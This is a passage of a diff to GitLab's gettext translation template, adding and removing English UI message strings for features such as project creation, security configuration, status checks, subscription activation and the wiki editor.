msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
